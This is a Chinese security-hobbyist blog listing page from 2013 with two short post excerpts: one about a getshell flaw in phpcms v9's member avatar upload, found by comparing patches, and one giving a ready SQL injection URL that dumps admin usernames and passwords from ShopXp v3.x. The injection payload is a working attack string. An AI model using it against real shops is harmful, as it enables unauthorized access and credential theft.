2013年12月15日 | 七行者博客 - 关注网络安全,黑客技术爱好者

phpcms v9前台上传头像getshell

phpcms v9前台会员中心上传头像可getshell。最开始是11月27号，突然看到一枚补丁。说是前台上传头像可getshell.立马被吸引住了。通过两份补丁的对比，发现在处理压缩包的过程中出现了一段删除当前文件夹下的全部文件夹。然后就菊花一紧。通过通读代码，发现上传的过程是用户上传头像—通过flash里面的js把当前的头像处理成三张不同的格式，然后压缩用户点击保存的时...阅读全文

作者：qxz_xp | 发布：2013年12月15日 | 分类：菜鸟入门, 黑客技术, 黑客攻防 | 暂无评论
阅读全文

ShopXp网店系统v3.x 越权+SQL注射

ShopXp网店系统v3.x 越权+SQL注射注射点：http://192.168.1.106/admin/pinglun.asp?id=71 UNION SELECT 1,2,admin,4,5,6,7,8,9,password,11 from shopxp_admin 阅读全文

作者：qxz_xp | 发布：2013年12月15日 | 分类：菜鸟入门, 黑客技术, 黑客攻防 | 1条评论
阅读全文

博客搜索

博客日历

近期文章

博客目录

电脑维修 (22)
- 其它技术 (8)
- 台式机维修 (5)
- 显示器维修 (3)
- 电脑软件 (3)
- 笔记本维修 (4)
网站运营 (65)
- seo优化 (45)
- 新闻资讯 (3)
- 网上创业 (8)
- 网站建设 (10)
- 网站推广 (7)
网络安全 (89)
- 入侵检测 (6)
- 安全知识 (27)
- 最新资讯 (21)
- 漏洞公布 (35)
- 病毒预警 (8)
腾讯QQ (81)
- QQ个性签名 (10)
- QQ个性网名 (18)
- QQ头像 (45)
- QQ技术 (6)
- QQ空间 (4)
黑客攻防 (486)
- 业界新闻 (178)
- 社工相关 (27)
- 菜鸟入门 (119)
- 黑客工具 (105)
- 黑客技术 (139)